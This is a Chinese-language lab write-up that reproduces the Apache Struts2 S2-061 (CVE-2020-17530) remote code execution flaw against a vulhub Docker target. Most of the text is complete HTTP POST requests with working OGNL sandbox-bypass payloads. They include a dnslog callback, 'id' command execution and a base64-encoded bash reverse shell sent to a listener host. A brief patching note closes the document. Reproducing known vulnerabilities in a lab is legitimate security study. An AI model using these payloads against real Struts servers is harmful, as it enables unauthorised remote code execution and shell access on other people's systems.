Struts2 S2-061(CVE-2020-17530)漏洞复现
0x00 漏洞简介
Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530)，在使用某些tag等情况下可能存在OGNL表达式注入漏洞，从而造成远程代码执行，风险极大。
0x01 漏洞描述
Struts2 会对某些标签属性(比如 `id`，其他属性有待寻找) 的属性值进行二次表达式解析，因此当这些标签属性中使用了 `%{x}` 且 `x` 的值用户可控时，用户再传入一个 `%{payload}` 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。
0x02 漏洞影响
struts 2.0.0 - struts 2.5.25
0x03 漏洞复现
一.环境搭建
1.docker环境地址：
https://github.com/vulhub/vulhub/tree/master/struts2/s2-061
docker-compose up -d #启动docker环境
2.访问目标地址
http://192.168.1.14:8080/index.action
二、漏洞利用
1.DNSlog验证漏洞
POST /index.action HTTP/1.1
Host: 192.168.1.14:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 853
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping paqmgs.dnslog.cn")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
DNGlog记录可发现命令成功执行
2.通过构造post包执行exp 命令执行id
POST /index.action HTTP/1.1
Host: 192.168.1.14:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 827
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
burp提交后，在响应页面发现命令回显可，说明ID命令执行成功
或者
POST /index.action HTTP/1.1
Host: 192.168.1.14:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1361
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
3.反弹shell命令
通过以下在线地址将bash反弹命令进行进行编码转换
http://www.jackson-t.ca/runtime-exec-payloads.html
提交以下poc:
POST /index.action HTTP/1.1
Host: 192.168.1.14:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 922
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTQvMjIyMiAgIDA+JjE=}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
可以看到成功反弹shell:
0x04 漏洞修复
避免对不受信任的用户输入使用强制OGNL评估，或/和升级到2.5.26版，可修复该漏洞。腾讯安全专家建议受影响的用户将Apache Struts框架升级至最新版本
临时修复，升级到 Struts 2.5.26 版本，下载地址为：
https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.260x05 漏洞总结
此次漏洞只是S2-059修复的一个绕过，并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中，但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点，但是如果没有使用这个依赖包，也还是没办法进行利用。
